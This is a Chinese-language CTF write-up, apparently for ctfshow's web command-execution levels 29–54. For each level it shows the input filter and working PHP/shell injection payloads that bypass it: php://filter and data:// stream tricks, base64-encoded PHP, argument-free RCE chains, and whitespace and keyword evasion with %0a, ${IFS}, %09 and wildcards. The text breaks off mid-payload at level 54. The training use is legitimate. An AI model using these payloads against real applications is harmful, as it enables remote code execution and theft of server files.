命令执行
29题
本题过滤了flag,直接get?c=system("cat f*")
;要注意的是括号后面的;一定不能少
30题
本题过滤了system|flag,用一个代替system()的函数
命令执行的函数有很多种
1 | system() |
只有system函数是有回显的,其他的函数可以通过echo等显示
这里可以使用反引号绕过
1.c=echo'cat f*';
2.?c=echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
3.?c=passthru("cat /f*");
31题
过滤了system|cat|flag|空格
空格绕过
1 | > < <>重定向符 |
cat被过滤
1 | more:一页一页的显示档案内容 |
1.c=echo(tac%09f*);
2.?c=passthru("more%09f*");
3.c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
直接单引号改双引号即可
32题
在31题的基础上又过滤了括号,但是没过滤双引号
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
base64解码,得到flag
33题
在前面的基础上又过滤了双引号
1.?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
2.``?c=include $_POST[a]?> 1=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag
34题
在上面的基础上又多过滤了一个分号,但是不起什么作用
解法还是同33题
35题
多过滤了一个<,没什么用
同33题
36题
在前面几题的基础上过滤了数字,但是解法跟33题一样
37题
本题使用了PHP文件包含函数include(),利用伪协议读取flag
1 | data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流就会被当作php文件执行 |
flag.php可以通过通配符绕过
POC:?c=data://text/plain,<?php system("cat f*");
38题
在37题的基础上过滤了php,利用base64编码绕过
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=的意思是<?php system(“cat flag.php”)
39题
本题没有有过滤php
1 | ?c=data://text/plain<?php system("cat f*");?> |
40题
过滤了引号,$,:,还不能用php伪协议
一般的括号里面都要用引号,所以这里可以试着用一下无参数RCE(remote command/code execute)
无参数的意思是a(),a(b()),a(b(c())),但是不能是a(‘b’)或者a(‘b’,’c’),不能带参数
1.print_r(scandir(‘.’));查看当前目录下的所有文件名
2.localeconv()函数返回一包含本地数字及货币格式信息的数组
3.current()函数返回数组中的当前元素(单位),默认去第一个值,和post()一样,但是这题过滤了引号,不能有参数,找一个代替'.'
的东西
print_r(scandir(current(localeconv())));打印出
当前目录下文件
flag.php在倒数第二个,我们可以通过array_reverse进行逆转数组,然后用next()函数进行下一个值的读取,直接用next(array_reverse());
payload: ?c=show_source(next(array_reverse(scandir(current(localeconv())))));
41题
unsloved
42题
>/dev/null 2>&1主要意思是不进行回显的意思
我们想让命令回显,那么进行命令分隔即可
1 | ; //分号 |
1.?c=ls;
2.?c=cat flag.php;
3.?c=cat flag.php||
43题
过滤了;|cat
1.?c=ls%0a
2.?c=more flag.php%0a
3.?c=sort flag.php||
44题
过滤了;|cat|flag
?c=ls%0a
?c=more f*%0a
通配符也可以绕过
?c=sort%20fl*||
45题
过滤了;|cat|flag|空格
?c=ls%0a
?c=more${IFS}f*%0a
46题
过滤了;|cat|flag|空格|数字|$|*
?c=ls%0a
?c=more%09fla?.php%0a
(这里的%09是空格不是数字)
47题
过滤了;|cat|flag|空格|数字|$|*|几个查看文件的命令
?c=ls%0a
?c=nl%09fla?.php%0a
48题
同47
49题
同47
50题
过滤了;|cat|flag|空格|数字|$|*|几个查看文件的命令|%
<>和?一起使用时没有回显,所以这里的?可以用反斜杠进行代替
1.?c=ls%0a
2.?c=nl<>fla\g.php%0a
3.?c=tac<>fla\g.php||
51题
%0a是换行,同样可以进行命令分隔;tac被过滤,换nl
?c=nl<>fla\g.php%0a
52题
?c=nl${IFS}fla\g.php%0a
发现是假的,直接连接一下根目录,发现有flag
所以直接抓flag ?c=nl${IFS}/fla\g%0a
53题
?c=nl${IFS}fla\g.php
54题
grep
1 | grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行 |
`?c=grep${IFS}%27